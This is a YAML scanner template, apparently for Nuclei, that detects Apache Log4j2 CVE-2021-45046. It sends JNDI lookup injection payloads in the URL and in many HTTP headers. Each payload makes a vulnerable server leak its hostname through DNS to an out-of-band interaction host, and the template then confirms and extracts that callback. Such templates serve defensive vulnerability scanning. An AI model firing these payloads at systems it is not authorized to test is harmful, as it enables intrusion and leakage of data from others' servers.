69 lines
3.3 KiB
YAML
69 lines
3.3 KiB
YAML
id: CVE-2021-45046
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info:
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name: Apache Log4j2 Remote Code Injection
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author: ImNightmaree
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severity: critical
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description: Apache Log4j2 Thread Context Lookup Pattern is vulnerable to remote code execution in certain non-default configurations.
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reference:
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- https://securitylab.github.com/advisories/GHSL-2021-1054_GHSL-2021-1055_log4j2/
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- https://twitter.com/marcioalm/status/1471740771581652995
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- https://logging.apache.org/log4j/2.x/
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tags: cve,cve2021,rce,oast,log4j,injection
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 9.00
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cve-id: CVE-2021-45046
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cwe-id: CWE-502
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requests:
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- raw:
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- |
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GET /?x=${jndi:ldap://127.0.0.1#.${hostName}.{{interactsh-url}}/a} HTTP/1.1
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Host: {{Hostname}}
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Accept: ${jndi:ldap://127.0.0.1#.${hostName}.accept.{{interactsh-url}}}
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Accept-Encoding: ${jndi:ldap://127.0.0.1#.${hostName}.acceptencoding.{{interactsh-url}}}
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Accept-Language: ${jndi:ldap://127.0.0.1#.${hostName}.acceptlanguage.{{interactsh-url}}}
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Access-Control-Request-Headers: ${jndi:ldap://127.0.0.1#.${hostName}.accesscontrolrequestheaders.{{interactsh-url}}}
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Access-Control-Request-Method: ${jndi:ldap://127.0.0.1#.${hostName}.accesscontrolrequestmethod.{{interactsh-url}}}
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Authentication: Basic ${jndi:ldap://127.0.0.1#.${hostName}.authenticationbasic.{{interactsh-url}}}
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Authentication: Bearer ${jndi:ldap://127.0.0.1#.${hostName}.authenticationbearer.{{interactsh-url}}}
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Cookie: ${jndi:ldap://127.0.0.1#.${hostName}.cookiename.{{interactsh-url}}}=${jndi:ldap://${hostName}.cookievalue.{{interactsh-url}}}
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Location: ${jndi:ldap://127.0.0.1#.${hostName}.location.{{interactsh-url}}}
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Origin: ${jndi:ldap://127.0.0.1#.${hostName}.origin.{{interactsh-url}}}
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Referer: ${jndi:ldap://127.0.0.1#.${hostName}.referer.{{interactsh-url}}}
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Upgrade-Insecure-Requests: ${jndi:ldap://127.0.0.1#.${hostName}.upgradeinsecurerequests.{{interactsh-url}}}
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User-Agent: ${jndi:ldap://127.0.0.1#.${hostName}.useragent.{{interactsh-url}}}
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X-Api-Version: ${jndi:ldap://127.0.0.1#.${hostName}.xapiversion.{{interactsh-url}}}
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X-CSRF-Token: ${jndi:ldap://127.0.0.1#.${hostName}.xcsrftoken.{{interactsh-url}}}
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X-Druid-Comment: ${jndi:ldap://127.0.0.1#.${hostName}.xdruidcomment.{{interactsh-url}}}
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X-Forwarded-For: ${jndi:ldap://127.0.0.1#.${hostName}.xforwardedfor.{{interactsh-url}}}
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X-Origin: ${jndi:ldap://127.0.0.1#.${hostName}.xorigin.{{interactsh-url}}}
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the DNS Interaction
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words:
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- "dns"
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- type: regex
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part: interactsh_request
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regex:
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- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output
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extractors:
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- type: regex
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part: interactsh_request
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group: 2
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regex:
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- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output
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- type: regex
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part: interactsh_request
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group: 1
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regex:
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- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output
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# Enhanced by mp on 2022/02/28
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